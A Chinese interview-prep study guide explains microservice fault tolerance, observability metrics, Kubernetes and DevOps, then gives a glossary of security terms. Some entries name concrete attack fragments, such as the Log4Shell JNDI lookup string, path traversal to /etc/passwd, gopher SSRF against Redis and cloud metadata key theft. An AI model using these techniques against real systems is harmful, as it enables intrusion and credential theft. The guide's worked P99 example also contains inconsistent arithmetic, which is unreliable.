一句话:一个服务挂了 → 调用方线程全堵住 → 调用方也挂 → 整条链路全崩。

发生过程:

服务 C 响应变慢(数据库慢查询)
   ↓
服务 B 调用 C,线程全部阻塞等待
   ↓
服务 B 的线程池被打满,无法响应新请求
   ↓
服务 A 调用 B,也开始阻塞
   ↓
服务 A 的线程池打满
   ↓
【整条链路全部不可用】—— 一个慢查询拖垮整个系统

四个应对手段(面试必答):

手段 怎么做 解决什么
① 超时设置 调用下游必须设超时时间,不能无限等 防止线程被无限占用
② 熔断 下游错误率高就断闸,快速失败 防止持续调用已经挂掉的服务
③ 限流 限制入口流量 防止自己被打垮
④ 降级 返回兜底数据 保证核心功能可用
⑤ 资源隔离 不同下游用不同线程池 防止一个慢服务拖垮所有

生活类比: 高速公路连环追尾。

  • 超时设置 = 保持车距
  • 熔断 = 前方事故,直接封路不让进
  • 限流 = 收费站控制上高速的车流量
  • 降级 = 主路堵了,走辅路
  • 隔离 = 客车和货车分道,货车出事不影响客车

7.3 第七章小结

【微服务容错全景】

请求进来
   ↓
【Gateway 网关】鉴权 / 路由 / 限流
   ↓
【服务 A】
   ├─ 限流(保护自己不被打垮)
   ├─ 调用服务 B
   │    ├─ 超时设置(不等太久)
   │    ├─ 熔断(B 挂了就快速失败)
   │    ├─ 隔离(用独立线程池,不拖累自己)
   │    └─ 降级(失败了返回兜底数据)
   └─ 返回

深入阅读:02 号文档第二章(Spring Cloud Alibaba)、07 号文档(云原生与 DevOps)


第八章:可观测性

这一章对应 08 号文档(《可观测性》)。 P99、SLA/SLO/SLI、RTO/RPO、MTTR 是光看名字绝对猜不出意思的典型。

8.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
QPS Queries Per Second 每秒请求数(系统能扛多少流量) 02/03/08/10
TPS Transactions Per Second 每秒事务数(常用于数据库/支付) 08
RT Response Time 响应时间,一个请求多久返回 02/10
P99 / P95 / P50 Percentile 99/95/50 99% 的请求RT 不超过这个值(看长尾) 02/08
SLA Service Level Agreement 服务等级协议:对外承诺(如“可用性 99.9%”),有法律效力 08
SLO Service Level Objective 服务等级目标:内部定的目标(如“可用性 99.95%”) 08
SLI Service Level Indicator 服务等级指标:具体怎么衡量(如“成功请求数/总请求数”) 08
MTTR Mean Time To Repair 平均修复时间:出故障后多久修好 08
MTBF Mean Time Between Failures 平均无故障时间:两次故障间隔多久 08
RTO Recovery Time Objective 恢复时间目标:允许多久恢复(如“30 分钟内”) 08
RPO Recovery Point Objective 恢复点目标:允许丢多少数据(如“最多丢 5 分钟数据”) 08
Metrics Metrics(指标) 可聚合的数字(CPU、QPS、错误率) 08
Logging Logging(日志) 离散的事件记录 01/08
Tracing Distributed Tracing(链路追踪) 一个请求在微服务间的完整调用链 08
TraceId Trace ID 一次请求的唯一标识,串起整条调用链 08
Span Span(跨度) 调用链中的一段(一个服务/一次调用) 08
火焰图 Flame Graph 性能分析图,看哪个方法最耗 CPU 08
Arthas Arthas 阿里开源的 Java 诊断工具,线上排查神器 01/02/08/10
SkyWalking SkyWalking 国产 APM,分布式链路追踪 01/02/07/08/10
Prometheus Prometheus 时序数据库 + 监控系统,拉模式采集 01/02/08/10
Grafana Grafana 可视化面板,把 Prometheus 的数据画成图 01/02/08/10
APM Application Performance Monitoring 应用性能监控 08
告警收敛 Alert Aggregation 把重复告警合并,避免告警风暴 08

8.2 核心概念详解

P99 / P95 / P50 —— 为什么平均响应时间是个“骗子”

一句话:P99 = 把响应时间从小到大排,排在第 99% 位置的那个值。

具体算法:

100 个请求的响应时间(毫秒):
  1, 2, 3, ..., 98, 99, 500, 800, 1200

P50(中位数)= 第 50 个 = 50ms
P95          = 第 95 个 = 95ms
P99          = 第 99 个 = 800ms   ← 最慢的那 1%
平均值        = (1+2+...+1200)/100 ≈ 20ms

为什么平均值会骗人(面试必答):

平均值 20ms 看起来很好对不对?
但 P99 = 800ms,意味着【每 100 个用户就有 1 个要等 800ms】

如果你的系统每天 1 亿次请求:
  1 亿 × 1% = 100 万个用户遇到了 800ms 的慢响应!

这些就是【长尾请求】,平均值完全掩盖了它们。

所以监控要看:

  • P99:关注最慢的 1%(长尾问题)
  • P95:更宽松一些
  • P50:中位数,代表典型体验
  • 平均值:参考价值不大,容易被极端值拉偏

面试高频:“为什么不用平均响应时间?”

“平均值会被极端值拉偏,掩盖长尾问题。 比如 99 个请求 10ms、1 个请求 10 秒,平均值才 110ms,看起来没问题, 但那个等 10 秒的用户体验极差。 所以我们用 P99——它直接告诉你’最慢的 1% 有多慢’。 一般要求 P99 < 200ms,P999 < 500ms 这种。”

生活类比: 一个班 50 个学生,49 个考 90 分,1 个考 10 分。 平均分 88 分——看起来很好,但那个考 10 分的孩子问题被掩盖了。 P50(中位数)能反映大多数人的水平,P99 能暴露最差的那个。


SLA / SLO / SLI —— 三个 S 开头的词,别再搞混了

SLI SLO SLA
是什么 Indicator 指标 Objective 目标 Agreement 协议
白话 怎么衡量 想达到多少 对外承诺多少,违约要赔
例子 成功请求数 / 总请求数 可用性 ≥ 99.95% 可用性 ≥ 99.9%,不达标退款 10%
给谁看 工程师 团队内部 客户/老板(有法律/商业效力)
松紧 — 最严(内部目标要比对外承诺严) 相对宽松

三者的关系:

SLI(怎么量) → SLO(内部目标) → SLA(对外承诺)

例:
  SLI:HTTP 200 的请求数 / 全部请求数
  SLO:这个比例 ≥ 99.95%(内部要求,留了余量)
  SLA:这个比例 ≥ 99.9%,不达标赔钱(对外承诺)
  
为什么 SLO 要比 SLA 严?
  因为等 SLA 快违约时才处理就来不及了。
  SLO 是"预警线",SLA 是"生死线"。

几个“9”对应多少 downtime(面试常考):

可用性 年停机时间 月停机时间 常见场景
99%(2 个 9) 3.65 天 7.3 小时 内部系统
99.9%(3 个 9) 8.76 小时 43.8 分钟 常见 SLA 标准
99.99%(4 个 9) 52.6 分钟 4.4 分钟 金融、支付
99.999%(5 个 9) 5.26 分钟 26 秒 电信级,极难

面试怎么说:

“SLA 是对外承诺,SLO 是内部目标,SLI 是衡量指标。 我们一般把 SLO 定得比 SLA 严——比如 SLA 承诺 99.9%,内部 SLO 定 99.95%, 这样有缓冲余量,等快触及 SLO 就开始处理,而不是等违约了才慌。”


RTO / RPO —— 灾备的两个核心指标

RTO
Recovery Time Objective
RPO
Recovery Point Objective
关注 时间 数据
问的是 多久能恢复服务? 会丢多少数据?
例子 “30 分钟内恢复” “最多丢 5 分钟的数据”
决定什么 用什么恢复方案 备份频率
RTO=0 需要双活/多活(秒级切换) —
RPO=0 — 需要同步复制(性能损耗大)

图解:

时间轴 ──────────────────────────────────────▶
                    故障发生                恢复完成
                       │                      │
        ◀──── RPO ─────┤◀─────── RTO ────────▶│
        丢失的数据量     │     服务中断时长      │
                       │                      │
        最后一次备份 ────┘                      └── 服务重新可用

两者的权衡:

RPO 越小 → 备份越频繁 → 性能损耗越大
  RPO = 0(同步复制)→ 每次写入都要等从库确认 → 写入变慢
  RPO = 5 分钟(异步复制)→ 最多丢 5 分钟数据 → 性能好

RTO 越小 → 需要越贵的方案
  RTO = 小时级 → 冷备(备份文件 + 手动恢复)→ 便宜
  RTO = 分钟级 → 热备(备用集群随时待命)→ 贵
  RTO = 秒级   → 双活/多活(两地同时服务)→ 非常贵

面试怎么说:

“RTO 是恢复时间目标,RPO 是数据丢失目标,这俩一起决定灾备方案。 比如金融核心可能要求 RTO<30分钟、RPO=0,那就得同城双活 + 同步复制。 如果是内部管理系统,RTO 几小时、RPO 一天都能接受,定时备份就够了。 核心是根据业务重要性和成本做权衡,不是越高越好。”


MTTR / MTBF —— 系统可靠性的两个指标

MTTR
Mean Time To Repair
MTBF
Mean Time Between Failures
含义 平均修复时间 平均无故障运行时间
衡量 恢复能力(修得快不快) 稳定性(多久坏一次)
越大越好? ❌ 越小越好 ✅ 越大越好
怎么改善 监控告警、自动化运维、预案演练 代码质量、容量规划、混沌工程

可用性的计算公式:

可用性 = MTBF / (MTBF + MTTR)

例:MTBF = 1000 小时,MTTR = 1 小时
    可用性 = 1000 / 1001 = 99.9%  ✅(3 个 9)

提升可用性有两条路:
  ① 增大 MTBF(少出故障)→ 难,成本高
  ② 减小 MTTR(快速恢复)→ 相对容易,收益大
  
所以业界更重视【降低 MTTR】:
  监控告警(快速发现)→ 日志链路(快速定位)→ 预案(快速止血)

可观测性三支柱:Metrics / Logging / Tracing

┌────────────────────────────────────────────────────┐
│              可观测性 Observability                  │
├──────────────┬──────────────┬──────────────────────┤
│  Metrics     │   Logging    │      Tracing         │
│  指标         │   日志        │      链路追踪          │
├──────────────┼──────────────┼──────────────────────┤
│ 聚合的数字    │ 离散的事件     │ 一次请求的完整路径      │
│ CPU 使用率    │ "用户登录失败" │ TraceId 串起所有服务   │
│ QPS / P99    │ 堆栈信息      │ 每个 Span 的耗时       │
├──────────────┼──────────────┼──────────────────────┤
│ Prometheus   │ ELK / Loki   │ SkyWalking / Jaeger  │
│ Grafana      │              │ Zipkin               │
├──────────────┼──────────────┼──────────────────────┤
│ 回答"有多少"  │ 回答"发生了什么"│ 回答"卡在哪一步"       │
└──────────────┴──────────────┴──────────────────────┘

三者怎么配合排查问题:

① Metrics 发现异常:    Grafana 看到 P99 突然从 100ms 涨到 2s
② Tracing 定位服务:    查 TraceId,发现是"支付服务"慢了
③ Logging 找到原因:    看支付服务日志,发现是数据库连接池满了

面试高频:“监控和可观测性的区别?”

“监控是’我知道要看什么,提前设好告警’(比如 CPU > 80% 告警)。 可观测性是’我事先不知道会出什么问题,但系统能提供足够信息让我事后分析出来’。 微服务时代故障模式太多,不可能提前预设所有告警,所以更需要可观测性—— 核心是能通过 Metrics/Logging/Tracing 三个维度回答任意问题。”


Arthas —— Java 线上排查神器

一句话:不用改代码、不用重启,就能看线上 JVM 在干什么。

最常用的几个命令(面试能说出 5 个就够):

命令 干什么 典型场景
dashboard 实时看板(线程、内存、GC) 快速看系统整体状态
thread -n 3 看最忙的 3 个线程 CPU 飙高时找凶手
jvm 看 JVM 信息 看内存、GC 配置
watch 观察方法的入参、返回值、异常 想看线上某个方法传了什么
trace 追踪方法内部调用链和耗时 接口慢,找哪一步最耗时
tt(TimeTunnel) 记录调用现场,可回放 偶发问题,抓一次慢慢分析
jad 反编译 确认线上跑的代码是不是你以为的那版
heapdump 导出堆快照 内存泄漏分析
profiler 生成火焰图 CPU 性能分析

最经典的三个场景:

# 场景1:CPU 突然 100%
thread -n 3                    # 找出最耗 CPU 的 3 个线程
thread <id>                    # 看这个线程的堆栈
# 通常会发现某个死循环或者疯狂 GC

# 场景2:接口突然变慢
trace com.xxx.OrderService createOrder '#cost > 100'
# 只看耗时超过 100ms 的调用,输出每一层的耗时
# 立刻知道是慢 SQL 还是外部接口

# 场景3:怀疑线上代码没更新
jad com.xxx.OrderService
# 反编译看源码,确认是不是最新的

第九章:云原生与 DevOps

这一章对应 07 号文档(《云原生与 DevOps》)。

9.1 本章速查表

缩写 / 术语 英文全称 一句话白话 在哪篇
容器 Container 轻量级的“隔离盒子”,把应用和依赖打包在一起 02/07/08/09/10
镜像 Image 容器的“模板”/“安装包”,容器是镜像的运行实例 07/08/09
Docker Docker 最流行的容器引擎 07/08
K8s Kubernetes(k8s 是缩写) 容器编排系统,管理成百上千个容器 02/07/08/09
Pod Pod(豆荚) K8s 的最小调度单位,一个 Pod 里可有多个容器 07/08
Node Node(节点) 运行 Pod 的机器(物理机/虚拟机) 07
Deployment Deployment(部署) 声明“我要跑几个副本”,K8s 负责维持 07
Service Service(服务) 给一组 Pod 提供统一入口和负载均衡 07
Ingress Ingress(入口) 集群外部访问内部服务的入口(七层路由) 07
ConfigMap / Secret — 配置 / 敏感信息(密码、证书)的管理 07
Helm Helm K8s 的包管理器(类似 yum/apt) 07
Istio Istio 服务网格:把限流、熔断、鉴权从代码里抽出来,交给基础设施 07
服务网格 Service Mesh 处理服务间通信的基础设施层(Sidecar 模式) 07
Sidecar Sidecar(边车) 每个 Pod 里附带的“辅助容器”,处理网络等通用逻辑 07
CI Continuous Integration 持续集成:代码提交后自动构建、测试 01/02/03/07/08
CD Continuous Delivery/Deployment 持续交付/部署:自动发布到环境 02/06/07
DevOps Development + Operations 开发运维一体化,强调自动化和文化 07
HPA Horizontal Pod Autoscaler 水平自动扩缩容:CPU 高了自动加 Pod 07
蓝绿部署 Blue-Green Deployment 两套环境交替上线,秒级切换和回滚 07
滚动更新 Rolling Update 一批一批替换实例,不中断服务 07
金丝雀发布 Canary Release 先放少量流量给新版本,观察没问题再全量(=灰度发布) 07

9.2 核心概念详解

容器 vs 虚拟机(面试必考)

┌──────────────────────────────────────────────────┐
│                   虚拟机 VM                        │
├────────┬────────┬────────┐                       │
│ App A  │ App B  │ App C  │                       │
├────────┼────────┼────────┤                       │
│ GuestOS│ GuestOS│ GuestOS│  ← 每个 VM 都有完整OS   │
├────────┴────────┴────────┤                       │
│      Hypervisor(虚拟机监视器)                     │
├──────────────────────────┤                       │
│       Host OS(宿主机操作系统)                     │
├──────────────────────────┤                       │
│        硬件 Infrastructure                        │
└──────────────────────────────────────────────────┘
       重!启动慢(分钟级),占用大(GB 级)

┌──────────────────────────────────────────────────┐
│                   容器 Container                   │
├────────┬────────┬────────┐                       │
│ App A  │ App B  │ App C  │                       │
├────────┼────────┼────────┤                       │
│ 容器引擎 Docker Engine  │  ← 【共享宿主 OS 内核】   │
├──────────────────────────┤                       │
│       Host OS(宿主机操作系统)                     │
├──────────────────────────┤                       │
│        硬件 Infrastructure                        │
└──────────────────────────────────────────────────┘
       轻!启动快(秒级),占用小(MB 级)
虚拟机 容器
隔离级别 操作系统级(每个 VM 有独立内核) 进程级(共享宿主内核)
启动速度 分钟级 秒级
体积 GB 级 MB 级
性能 有虚拟化损耗 接近原生
隔离性 强(更安全) 弱(共享内核,有逃逸风险)

一句话总结:

虚拟机虚拟化的是硬件,容器虚拟化的是操作系统。 容器更轻更快,但隔离性不如虚拟机。


Kubernetes(K8s)为什么叫 K8s

Kubernetes:K 和 s 之间有 8 个字母(ubernete),所以缩写为 K8s。 类似的有:i18n(internationalization,i 和 n 之间 18 个字母)。

K8s 解决什么问题:

手动管理容器的痛苦:
  - 机器挂了,容器要手动搬到别的机器
  - 流量涨了,要手动加容器
  - 发布新版本,要手动一个个替换
  - 容器之间怎么互相访问?

K8s 的做法:【声明式】
  你只需要声明:"我要跑 3 个订单服务的副本"
  K8s 负责:调度到哪台机器、挂了自动重启、流量高了自动扩容、滚动更新

核心思想:你告诉它【期望状态】,它负责【达成并维持】这个状态

核心概念关系图(面试常让画):

                    ┌──── Cluster(集群)────┐
                    │                       │
        ┌───────────┼───────────┐           │
        ▼           ▼           ▼           │
    ┌───────┐   ┌───────┐   ┌───────┐      │
    │ Node1 │   │ Node2 │   │ Node3 │      │  节点(机器)
    │┌─────┐│   │┌─────┐│   │       │      │
    ││ Pod ││   ││ Pod ││   │       │      │  Pod(最小单位)
    ││┌───┐││   ││┌───┐││   │       │      │
    │││Ctr│││   │││Ctr│││   │       │      │  容器
    ││└───┘││   ││└───┘││   │       │      │
    │└─────┘│   │└─────┘│   │       │      │
    └───────┘   └───────┘   └───────┘      │
        ▲           ▲                      │
        └───────────┴──────────────────────┘
                    │
              Deployment(声明:我要 2 个副本)
                    │
              Service(统一入口 + 负载均衡)
                    │
              Ingress(外部流量入口)

记忆口诀:

Cluster(集群) > Node(机器) > Pod(豆荚) > Container(容器)
Deployment 管副本数,Service 管访问,Ingress 管入口

服务网格 Istio 与 Sidecar 模式

解决的问题:

微服务里,每个服务都要写:
  - 服务发现、负载均衡、重试、超时
  - 熔断、限流
  - 鉴权、mTLS 加密
  - 链路追踪上报

这些代码:
  ① 每个服务重复写一遍
  ② 换语言就要重写(Java/Go/Python 各写一套)
  ③ 升级要改所有服务的代码

Sidecar 模式的解法:

┌───────────────── Pod ─────────────────┐
│  ┌──────────┐      ┌──────────────┐   │
│  │ 业务容器  │ ◀──▶ │ Envoy Proxy  │   │
│  │ (你的代码)│      │   (Sidecar)  │   │
│  └──────────┘      └──────────────┘   │
│                           │            │
└───────────────────────────┼────────────┘
                            │
                    所有网络流量都经过 Sidecar
                    限流/熔断/鉴权/追踪都在这里做

好处:业务代码【零侵入】,完全不用关心这些
      换语言也没关系,Sidecar 是独立的

Sidecar 名字的由来:

摩托车旁边挂的那个“边车”——跟着主车跑,但有自己的轮子。


CI / CD / DevOps

CI
Continuous Integration
持续集成
CD
Continuous Delivery/Deployment
持续交付/部署
干什么 代码合并后自动构建 + 测试 自动发布到环境
频率 每次提交都跑 通过测试后自动/手动发布
产出 一个可用的构建产物(jar/镜像) 跑在服务器上的服务
解决 “集成地狱”(合并时一堆冲突和 bug) “发布恐惧”(发版要熬夜、容易出错)

CD 的两种含义(面试可能追问):

  • Continuous Delivery(持续交付):自动准备好可发布的版本,但发布由人决定(点一下按钮)
  • Continuous Deployment(持续部署):全自动发布,通过测试就直接上线,无人干预

DevOps 是什么:

不是工具,不是岗位,是一种文化 + 实践: 打破开发(Dev)和运维(Ops)的墙,用自动化让“开发 → 测试 → 发布 → 运维”全流程顺畅。

核心指标(DORA 四指标):

  1. 部署频率(多快发一次版)
  2. 变更前置时间(从提交代码到上线要多久)
  3. 变更失败率(多少次发布会导致故障)
  4. 服务恢复时间 MTTR(出故障多久恢复)

第十章:安全

这一章对应 11 号(《安全攻防与系统加固》,3 万行)、12 号(《安全靶场实战》,1.4 万行) 和 13 号(《新兴攻击面与专项安全》,8.6 万行)三篇。

CSRF 和 XSS 是面试最常考、也最容易记混的两个概念,但安全远不止这两个—— 本章速查表按 Web 漏洞 / Java 组件 / 认证密码学 / 云原生 / 内网中间件 / 治理工具 六个方向收录了 149 个术语,详解部分挑了 12 组最容易混淆的成对概念讲透。

如果你是冲着面试来的,优先看这几个: SSRF(云上最危险)→ 越权(OWASP 常年第一)→ 反序列化(Java 岗必考) → CVE/CVSS/EPSS/KEV(聊漏洞治理时的谈资)→ SA Token(K8s 安全的核心)。

10.1 本章速查表

本章“在哪篇”列的含义:11 = 《11-安全攻防与系统加固-实战专题》,12 = 《12-安全靶场实战-从零复现与加固验证》,13 = 《13-新兴攻击面与专项安全》(已按主题拆成 7 个分册,见 13-新兴攻击面与专项安全/ 文件夹)。 三篇加起来 13 万行,是安全内容的主体;13 号覆盖 AI 安全、API、GraphQL、移动端、IoT、内网渗透、取证、供应链、云原生、Web3、数据合规等新兴攻击面;其他编号同前几章(01~10 号文档)。

10.1.1 Web 漏洞类(OWASP 家族,面试最高频)

缩写 / 术语 英文全称 一句话白话 在哪篇
XSS Cross-Site Scripting 跨站脚本:往页面里注入恶意 JS 偷用户信息 09/11
CSRF Cross-Site Request Forgery 跨站请求伪造:骗你的浏览器发请求,冒充你操作 09/11
CORS Cross-Origin Resource Sharing 跨域资源共享:浏览器的同源策略例外机制 02/09
同源策略 Same-Origin Policy 浏览器规定:不同源的页面不能互相访问数据 09
SQL 注入 SQL Injection 把恶意 SQL 拼进参数,骗数据库执行 03/11
盲注 Blind SQL Injection 页面不报错也不回显,只能靠“是/否”一点点猜 11/12
SSRF Server-Side Request Forgery 服务端请求伪造:骗服务器去访问它不该访问的地址(打内网、打元数据) 11/12
XXE XML External Entity XML 外部实体注入:一段 XML 就能让服务器读本地文件、打内网 11/12
IDOR Insecure Direct Object Reference 不安全的直接对象引用:把订单号 1001 改成 1002 就看到别人的订单 11
越权 Broken Access Control 干了不该干的事(水平越权 = 看同事的;垂直越权 = 干管理员的) 11
SSTI Server-Side Template Injection 模板引擎把用户输入当代码执行(Thymeleaf / Freemarker / Velocity) 11
SpEL Spring Expression Language Spring 的表达式语言,#{} 里能写 Java 代码 02/11
OGNL Object-Graph Navigation Language Struts2 用的表达式语言,历史上出过一堆 RCE 11
命令注入 Command Injection 把系统命令拼进参数,服务器 Runtime.exec() 去执行 11/12
文件上传漏洞 Unrestricted File Upload 传个 JSP/PHP 上去,直接变成网页后门 11/12
文件包含 File Inclusion 让服务器把“文件内容”当成“代码”来执行(图片马的引信) 11/12
路径穿越 Path / Directory Traversal 用 ../ 跳出目录,读到 /etc/passwd 11/12
图片马 Image Webshell 一张正常图片里藏了恶意代码,配合文件包含才生效 11/12
WebShell Web + Shell 网页版后门:浏览器里就能敲服务器命令 11/12
反弹 Shell Reverse Shell 让受害机主动连攻击者(防火墙拦入站、不拦出站,所以要“反弹”) 12
RCE Remote Code Execution 远程代码执行:漏洞界的“最高刑罚”,能在对方机器上跑任意命令 11/12
DoS / DDoS Denial of Service 拒绝服务:把资源耗光,让正常用户用不了 11/12
十亿笑 Billion Laughs XML 实体套娃,1KB 输入撑爆几个 G 内存 11/12
Zip Bomb Zip Bomb / 解压炸弹 42KB 的 zip 解压出 4.5PB,撑爆磁盘 11/12
Zip Slip Zip Slip zip 里藏 ../../ 路径,解压时写到任意位置覆盖系统文件 11/12
DNS Rebinding DNS Rebinding DNS 重绑定:先解析成合法 IP 过校验,再解析成 127.0.0.1 打内网 11/12
点击劫持 Clickjacking 透明 iframe 盖在按钮上,你以为是点“点赞”,实际点了“转账” 09/11
重放攻击 Replay Attack 把请求录下来重发一次(没加时间戳/随机数就会中招) 11
撞库 Credential Stuffing 拿别家泄露的账号密码,来你家批量试 11
拖库 Database Dump 把整张用户表导走 11/12

10.1.2 Java 组件与反序列化(Java 岗必考)

缩写 / 术语 英文全称 一句话白话 在哪篇
反序列化漏洞 Insecure Deserialization 把别人构造的字节流“还原成对象”时,自动执行了恶意代码 11/12
Gadget Chain Gadget Chain / 利用链 把项目里本来就有的几个类串起来,拼出一条能执行命令的链条 11/12
aced 0005 Java 序列化魔数 Java 序列化字节流的开头两个字节,base64 后是 rO0AB——看到它就该警惕 11/12
CC 链 CommonsCollections Chain 利用 Apache CommonsCollections 库搭的反序列化利用链 11/12
ysoserial — 反序列化 payload 生成器,一条命令生成现成的攻击字节流 12
JNDI Java Naming and Directory Interface Java 的“查电话簿”接口:给个名字,返回一个对象 11/12
LDAP Lightweight Directory Access Protocol 轻量目录访问协议(企业里存组织架构的那种服务) 11/12
RMI Remote Method Invocation Java 自己的远程调用协议 11/12
Log4Shell CVE-2021-44228 Log4j2 的 ${jndi:ldap://} 远程代码执行,CVSS 满分 10.0 11/12
autotype Fastjson AutoType Fastjson 的“自动还原成指定类型”功能,是它几乎所有 RCE 的根源 11/12
Shiro-550 CVE-2016-4437 Shiro 的 rememberMe Cookie 用硬编码密钥加密,密钥一泄露就能伪造身份 11/12
rememberMe — Shiro 的“记住我”Cookie:序列化 → AES 加密 → base64 11/12
RASP Runtime Application Self-Protection 在应用内部插桩的防护(能看见解密后的流量,WAF 看不见) 11/12
JEP 290 JDK Enhancement Proposal 290 JDK 给反序列化加的白名单机制(JDK 8u121+) 11/12

10.1.3 认证 / 授权 / 密码学

缩写 / 术语 英文全称 一句话白话 在哪篇
OAuth Open Authorization 授权协议:让第三方应用拿到你的部分权限(不是你的密码) 06/11
OAuth2 OAuth 2.0 OAuth 的 2.0 版本,现在的主流 06/11
OIDC OpenID Connect 在 OAuth2 之上加了一层身份认证(OAuth2 只管授权,不管“你是谁”) 06/11
JWT JSON Web Token 一种令牌格式,把用户信息签名后存客户端(Payload 只是 Base64,不是加密) 03/06/11
SSO Single Sign On 单点登录:登录一次,所有系统都放行 06/11
SAML Security Assertion Markup Language 老牌企业级单点登录协议,用 XML(银行、国企常见) 06/11
PKCE Proof Key for Code Exchange 授权码模式的增强:给授权码加一次性密钥,防止授权码被截获 11
RBAC Role-Based Access Control 基于角色的权限控制:用户→角色→权限 06/11
ABAC Attribute-Based Access Control 基于属性的权限控制:看“时间+地点+角色+设备”综合判断(更灵活更复杂) 11
水平越权 Horizontal Privilege Escalation 同级别之间:我能看你的订单(改 ID 就行) 11
垂直越权 Vertical Privilege Escalation 上下级之间:普通用户干了管理员的事 11
最小权限 Principle of Least Privilege 只给“刚好够用”的权限,多一分都不给 11/12
零信任 Zero Trust 不再有“内网可信”:每一次访问都要验证,不管从哪来 11
MFA / 2FA Multi-Factor / Two-Factor Auth 多因素认证:密码 + 手机验证码(密码泄露了也进不去) 11
TOTP Time-based One-Time Password 基于时间的动态口令(30 秒变一次的那个 6 位数) 11
HTTPS HTTP Secure HTTP + TLS 加密,防窃听和篡改 09/11
TLS Transport Layer Security 传输层安全协议(SSL 的继任者) 09/11
mTLS Mutual TLS 双向 TLS:不仅客户端验证服务端,服务端也验证客户端 07/11
中间人攻击 Man-in-the-Middle (MITM) 攻击者插在通信双方之间窃听/篡改 09/11
CA Certificate Authority 证书颁发机构,负责证明“这个网站确实是它” 09/11
加盐 Salt 密码哈希时加随机字符串,防彩虹表破解 09/11
彩虹表 Rainbow Table 预先算好大量“明文→哈希”的对照表,用来反查密码 11
BCrypt Blowfish Crypt 专门为密码设计的慢哈希,自带随机盐,推荐默认用它 11
Argon2 Argon2 2015 年密码哈希竞赛冠军,比 BCrypt 更抗 GPU 破解,新项目首选 11
PBKDF2 Password-Based Key Derivation Function 2 老牌口令派生算法(用得广,但不如 BCrypt/Argon2) 11
AES-GCM Advanced Encryption Standard - Galois/Counter Mode 对称加密的推荐模式:加密的同时顺带防篡改 11
RSA Rivest-Shamir-Adleman 最经典的非对称加密算法 09/11
HMAC Hash-based MAC 带密钥的哈希,用来证明“消息没被改过且是我发的” 11
国密 SM2 / SM3 / SM4 商密算法 国产密码算法:SM2 非对称、SM3 哈希、SM4 对称(金融/政务项目要求) 11
脱敏 Data Masking 把敏感信息遮掉一部分给人看:138****1234 11
HttpOnly — Cookie 属性:JS 读不到(就算 XSS 也偷不走) 09/11
Secure — Cookie 属性:只在 HTTPS 下才发送 09/11
SameSite — Cookie 属性:限制跨站请求带不带 Cookie(Strict / Lax / None) 09/11
CSP Content Security Policy 内容安全策略:白名单限制页面能加载哪些来源的脚本 09/11

10.1.4 云原生与容器安全

缩写 / 术语 英文全称 一句话白话 在哪篇
容器逃逸 Container Escape 从容器里跑出来,拿到宿主机的权限 11/12
特权容器 Privileged Container 拥有宿主机几乎所有能力的容器,等价于“半个宿主机 root” 11/12
Namespace — Linux 的“隔离”机制:让容器看不见宿主机的进程/网络/挂载 07/11
Cgroup Control Group Linux 的“限额”机制:限制容器能用多少 CPU / 内存 07/11
Capabilities Linux Capabilities 把 root 的超级权限拆成 40 多份,按需分配 11/12
CAP_SYS_ADMIN — Capabilities 里最危险的一个,约等于“新的 root” 11/12
SA Token ServiceAccount Token K8s 给每个 Pod 发的“身份证”,默认就挂在容器里 07/11/12
ServiceAccount — K8s 里给程序(不是人)用的账号 07/11/12
etcd — K8s 的数据库,所有配置(含所有 Secret)都存在这 04/07/11
kubelet — 跑在每个节点上的“节点管家”,10250 端口能 exec 进任意 Pod 07/11/12
NetworkPolicy — K8s 的“内网防火墙”:规定 Pod 之间谁能连谁 07/11/12
PSA Pod Security Admission K8s 内置的 Pod 安全标准(restricted / baseline / privileged 三级) 07/11/12
Secret — K8s 存敏感信息(密码/密钥)的对象,默认只 Base64,不加密 07/11/12
Distroless Distroless Image 只有运行时、没有 shell 的镜像(被 RCE 了也无工具可用) 11/12
gVisor — Google 出的“用户态内核”,给容器加一层沙箱 11/12
Kata Containers — 轻量级虚拟机容器:每个容器跑在自己的微型 VM 里 11/12
cosign — 镜像签名与验签工具,证明“这个镜像确实是我们构建的” 11/12
供应链攻击 Supply Chain Attack 不直接打你,而是污染你依赖的上游(镜像、依赖包、CI) 11/12
IMDS Instance Metadata Service 云主机的元数据服务(169.254.169.254),上面放着临时 AK/SK 11/12
Falco — 容器运行时安全监控:检测“容器里发生了不该发生的事” 08/11/12

10.1.5 内网与中间件未授权

缩写 / 术语 英文全称 一句话白话 在哪篇
未授权访问 Unauthorized Access 服务开着但不校验身份,谁连上谁就是管理员 11/12
UDF User Defined Function MySQL 的“自定义函数”:写个 so 让它执行系统命令(提权经典手法) 03/11/12
主从复制 Master-Slave Replication Redis 的同步机制,被改造成“从主库加载恶意模块” → RCE 04/11/12
gopher Gopher Protocol 老协议,但能把任意 TCP 流量塞进去(SSRF 打 Redis 的利器) 11/12
heapdump Java Heap Dump Java 堆内存快照:环境变量会被脱敏,但堆里的明文密码不会 01/11/12
Actuator Spring Boot Actuator Spring Boot 的监控端点,暴露了可能被拿 Shell、被拖 heapdump 02/11/12
Druid Alibaba Druid 数据库连接池监控页,没关掉的话别人能看到所有 SQL 和 Session 03/11/12
横向移动 Lateral Movement 拿下一台机器后,以它为跳板继续打内网其他机器 11/12
隧道 / 内网穿透 Tunneling 用已控机器做代理,把内网服务“搬”到公网 11/12
OOB Out-of-Band 带外检测:漏洞没回显,就让它去访问我的域名,我这边看日志 11/12
DNSLog — OOB 的常用平台:给一个随机域名,谁访问了都能看见 12

10.1.6 治理、流程与工具

缩写 / 术语 英文全称 一句话白话 在哪篇
CVE Common Vulnerabilities and Exposures 漏洞的身份证号,如 CVE-2021-44228 11/12
CVSS Common Vulnerability Scoring System 漏洞危险程度打分(0~10 分,10 分封顶) 11/12
EPSS Exploit Prediction Scoring System 预测“这个漏洞未来 30 天被实际利用的概率”(比 CVSS 更该看) 11
KEV Known Exploited Vulnerabilities 美国 CISA 维护的“已经被用于实战攻击“的漏洞清单 11
CWE Common Weakness Enumeration 漏洞类型的分类编号(如 CWE-89 = SQL 注入) 11/12
OWASP Open Web Application Security Project 开放 Web 应用安全组织,出了很多免费标准和工具 09/11
OWASP Top 10 — OWASP 评出的“十大 Web 安全风险”,面试必背 09/11
STRIDE Spoofing/Tampering/Repudiation/Information Disclosure/DoS/Elevation 微软的威胁建模框架,六个字母对应六类威胁 11
威胁建模 Threat Modeling 在写代码之前就系统地想一遍“哪里可能被攻击” 11
Kill Chain Cyber Kill Chain 攻击链的七个阶段:侦察→武器化→投递→利用→安装→C2→行动 11
